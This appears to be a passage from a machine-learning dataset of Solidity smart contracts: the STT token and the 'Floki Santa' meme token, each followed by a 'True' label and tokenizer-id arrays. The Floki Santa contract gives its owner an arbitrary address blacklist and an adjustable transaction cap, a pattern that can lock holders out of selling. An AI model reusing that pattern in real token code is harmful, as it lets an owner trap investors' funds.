mapping (address => bool) public isHolder; // track if a user is a known token holder to the smart contract - important for payouts later
address[] public holders; // array of all known holders - important for payouts later
// Store the hashes of admins' msg.data
mapping (address => bytes32) private multiSigHashes;
// Declare vendor keys
mapping (address => bool) public vendors;
// Count amount of vendors for easier verification of correct contract deployment
uint8 public vendorCount;
// Events used for logging
event LogDeliverSTT(address indexed _to, uint256 _value);
//event Log
modifier onlyVendor() {
require(vendors[msg.sender] == true);
_;
}
modifier isTransferable() {
require (transactionsActive == true);
_;
}
modifier onlyOwner() {
// check if transaction sender is admin.
require (msg.sender == STTadmin1 || msg.sender == STTadmin2);
// if yes, store his msg.data.
multiSigHashes[msg.sender] = keccak256(msg.data);
// check if his stored msg.data hash equals to the one of the other admin
if ((multiSigHashes[STTadmin1]) == (multiSigHashes[STTadmin2])) {
// if yes, both admins agreed - continue.
_;
// Reset hashes after successful execution
multiSigHashes[STTadmin1] = 0x0;
multiSigHashes[STTadmin2] = 0x0;
} else {
// if not (yet), return.
return;
}
}
/**
* @dev Create a new STTToken contract.
*
* _admin1 The first admin account that owns this contract.
* _admin2 The second admin account that owns this contract.
* _vendors List of exactly 10 addresses that are allowed to deliver tokens.
*/
constructor(address _admin1, address _admin2, address[] _vendors)
public
{
// Check if the parameters make sense
// admin1 and admin2 address must be set and must be different
require (_admin1 != 0x0);
require (_admin2 != 0x0);
require (_admin1 != _admin2);
// 10 vendor instances for delivering token purchases
require (_vendors.length == 10);
totalSupply = 0;
// define state
STTadmin1 = _admin1;
STTadmin2 = _admin2;
for (uint8 i = 0; i < _vendors.length; i++){
vendors[_vendors[i]] = true;
vendorCount++;
}
}
// Overridden method to check for end of fundraising before allowing transfer of tokens
function transfer(address _to, uint256 _value)
public
isTransferable // Only allow token transfer after the fundraising has ended
returns (bool success)
{
bool result = super.transfer(_to, _value);
if (result) {
trackHolder(_to); // track the owner for later payouts
}
return result;
}
// Overridden method to check for end of fundraising before allowing transfer of tokens
function transferFrom(address _from, address _to, uint256 _value)
public
isTransferable // Only allow token transfer after the fundraising has ended
returns (bool success)
{
bool result = super.transferFrom(_from, _to, _value);
if (result) {
trackHolder(_to); // track the owner for later payouts
}
return result;
}
// Allow for easier balance checking
function getBalanceOf(address _owner)
public
view
returns (uint256 _balance)
{
return balances[_owner];
}
// Perform an atomic swap between two token contracts
function relocate()
external
{
// Check if relocation was activated
require (relocationActive == true);
// Define new token contract is
RelocationToken newSTT = RelocationToken(newTokenContractAddress);
// Burn the old balance
uint256 balance = balances[msg.sender];
balances[msg.sender] = 0;
// Perform the relocation of balances to new contract
require(newSTT.recieveRelocation(msg.sender, balance));
}
// Allows to figure out the amount of known token holders
function getHolderCount()
public
view
returns (uint256 _holderCount)
{
return holders.length;
}
// Allows for easier retrieval of holder by array index
function getHolder(uint256 _index)
public
view
returns (address _holder)
{
return holders[_index];
}
function trackHolder(address _to)
private
returns (bool success)
{
// Check if the recipient is a known token holder
if (isHolder[_to] == false) {
// if not, add him to the holders array and mark him as a known holder
holders.push(_to);
isHolder[_to] = true;
}
return true;
}
/// @dev delivers STT tokens from Leondra (Leondrino Exchange Germany)
function deliverTokens(address _buyer, uint256 _amount)
external
onlyVendor
{
require(_amount >= TOKEN_MIN);
uint256 checkedSupply = SafeMath.add(totalSupply, _amount);
require(checkedSupply <= TOKEN_CREATION_CAP);
// Adjust the balance
uint256 oldBalance = balances[_buyer];
balances[_buyer] = SafeMath.add(oldBalance, _amount);
totalSupply = checkedSupply;
trackHolder(_buyer);
// Log the creation of these tokens
emit LogDeliverSTT(_buyer, _amount);
}
/// @dev Creates new STT tokens
function deliverTokensBatch(address[] _buyer, uint256[] _amount)
external
onlyVendor
{
require(_buyer.length == _amount.length);
for (uint8 i = 0 ; i < _buyer.length; i++) {
require(_amount[i] >= TOKEN_MIN);
require(_buyer[i] != 0x0);
uint256 checkedSupply = SafeMath.add(totalSupply, _amount[i]);
require(checkedSupply <= TOKEN_CREATION_CAP);
// Adjust the balance
uint256 oldBalance = balances[_buyer[i]];
balances[_buyer[i]] = SafeMath.add(oldBalance, _amount[i]);
totalSupply = checkedSupply;
trackHolder(_buyer[i]);
// Log the creation of these tokens
emit LogDeliverSTT(_buyer[i], _amount[i]);
}
}
// Allow / Deny transfer of tokens
function transactionSwitch(bool _transactionsActive)
external
onlyOwner
{
transactionsActive = _transactionsActive;
}
// For eventual later moving to another token contract
function relocationSwitch(bool _relocationActive, address _newTokenContractAddress)
external
onlyOwner
{
if (_relocationActive) {
require(_newTokenContractAddress != 0x0);
} else {
require(_newTokenContractAddress == 0x0);
}
relocationActive = _relocationActive;
newTokenContractAddress = _newTokenContractAddress;
}
// Adjust the cap according to the white paper terms (See STT Whitepaper Version 1.0 from 23. May 2018 )
function adjustCap()
external
onlyOwner
{
require (supplyAdjustmentCount < 4);
TOKEN_CREATION_CAP = SafeMath.add(TOKEN_CREATION_CAP, 50 * (10**6) * 10**decimals); // 50 million STTs
supplyAdjustmentCount++;
}
// Burn function - name indicating the burn of ALL owner's tokens
function burnWholeBalance()
external
{
require(balances[msg.sender] > 0);
totalSupply = SafeMath.sub(totalSupply, balances[msg.sender]);
balances[msg.sender] = 0;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2484,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
1996,
2358,
2102,
19204,
3206,
1012,
1008,
1008,
2011,
29106,
11865,
18069,
1008,
4923,
1024,
2635,
4784,
2013,
7151,
19204,
1010,
5658,
19204,
1998,
9152,
4328,
4160,
19204,
1012,
1008,
1013,
1013,
1008,
1008,
1008,
1030,
2516,
3647,
8785,
3136,
2008,
5466,
7561,
2006,
2058,
12314,
1012,
1008,
1008,
4923,
1024,
2635,
4784,
2013,
2034,
26682,
19204,
1008,
1013,
3075,
3647,
18900,
2232,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
9689,
5587,
2048,
3616,
1012,
1008,
1008,
1030,
11498,
2213,
1060,
2034,
3850,
3372,
1012,
1008,
1030,
11498,
2213,
1061,
2117,
3850,
3372,
1012,
1008,
1030,
2709,
1996,
2765,
1997,
1060,
1009,
1061,
1012,
1008,
1013,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1062,
1027,
1060,
1009,
1061,
1025,
20865,
1006,
1006,
1062,
1028,
1027,
1060,
1007,
1004,
1004,
1006,
1062,
1028,
1027,
1061,
1007,
1007,
1025,
2709,
1062,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
9689,
4942,
20528,
6593,
2048,
3616,
1012,
1008,
1008,
1030,
11498,
2213,
1060,
2034,
3850,
3372,
1012,
1008,
1030,
11498,
2213,
1061,
2117,
3850,
3372,
1012,
1008,
1030,
2709,
1996,
2765,
1997,
1060,
1011,
1061,
1012,
1008,
1013,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1060,
1028,
1027,
1061,
1007,
1025,
21318,
3372,
17788,
2575,
1062,
1027,
1060,
1011,
1061,
1025,
2709,
1062,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
9689,
4800,
22086,
2048,
3616,
1012,
1008,
1008,
1030,
11498,
2213,
1060,
2034,
3850,
3372,
1012,
1008,
1030,
11498,
2213,
1061,
2117,
3850,
3372,
1012,
1008,
1030,
2709,
1996,
2765,
1997,
1060,
1008,
1061,
1012,
1008,
1013,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1060,
1010,
21318,
3372,
17788,
2575,
1061,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1062,
1027,
1060,
1008,
1061,
1025,
20865,
1006,
1006,
1060,
1027,
1027,
1014,
1007,
1064,
1064,
1006,
1062,
1013,
1060,
1027,
1027,
1061,
1007,
1007,
1025,
2709,
1062,
1025,
1065,
1065,
1013,
1008,
1008,
1008,
1030,
2516,
1996,
10061,
9413,
2278,
1011,
2322,
19204,
3115,
6210,
1012,
1008,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
1038,
4135,
2497,
1013,
3040,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
2322,
1011,
19204,
1011,
3115,
1012,
9108,
1008,
1013,
3206,
19204,
1063,
1013,
1013,
1013,
1030,
16475,
5651,
1996,
2561,
19204,
4425,
1012,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
3112,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-25
*/
/**
* SPDX-License-Identifier: Unlicensed
❄️ Floki Santa Eth ❄️
Floki Santa rewards those that are good with HOLDING and those that believe in him. 🥂
* Telegram: https://t.me/flokisantaerc20
* Website: https://t.me/flokisantaeth
* */
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FlokiSanta is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Floki Santa";
string private constant _symbol = "FlokiSanta";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x856C7396668c5bb3A54715Bcc3CB0d8399bFd277);
_feeAddrWallet2 = payable(0x856C7396668c5bb3A54715Bcc3CB0d8399bFd277);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isBuy(from)) {
// TAX SELLERS 20% WHO SELL WITHIN 2 HOURS
if (_buyMap[from] != 0 &&
(_buyMap[from] + (2 hours) >= block.timestamp)) {
_feeAddr1 = 1;
_feeAddr2 = 25;
} else {
_feeAddr1 = 2;
_feeAddr2 = 12;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 2;
_feeAddr2 = 10;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2260,
1011,
2423,
1008,
1013,
1013,
1008,
1008,
1008,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
27730,
100,
13109,
23212,
4203,
3802,
2232,
100,
13109,
23212,
4203,
19054,
2216,
2008,
2024,
2204,
2007,
3173,
1998,
2216,
2008,
2903,
1999,
2032,
1012,
100,
1008,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
13109,
23212,
22341,
27867,
2278,
11387,
1008,
4037,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
13109,
23212,
22341,
6679,
2705,
1008,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
4942,
1006,
1037,
1010,
1038,
1010,
1000,
3647,
18900,
2232,
1024,
4942,
6494,
7542,
2058,
12314,
1000,
1007,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1010,
5164,
3638,
7561,
7834,
3736,
3351,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
5478,
1006,
1038,
1026,
1027,
1037,
1010,
7561,
7834,
3736,
3351,
1007,
1025,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1011,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
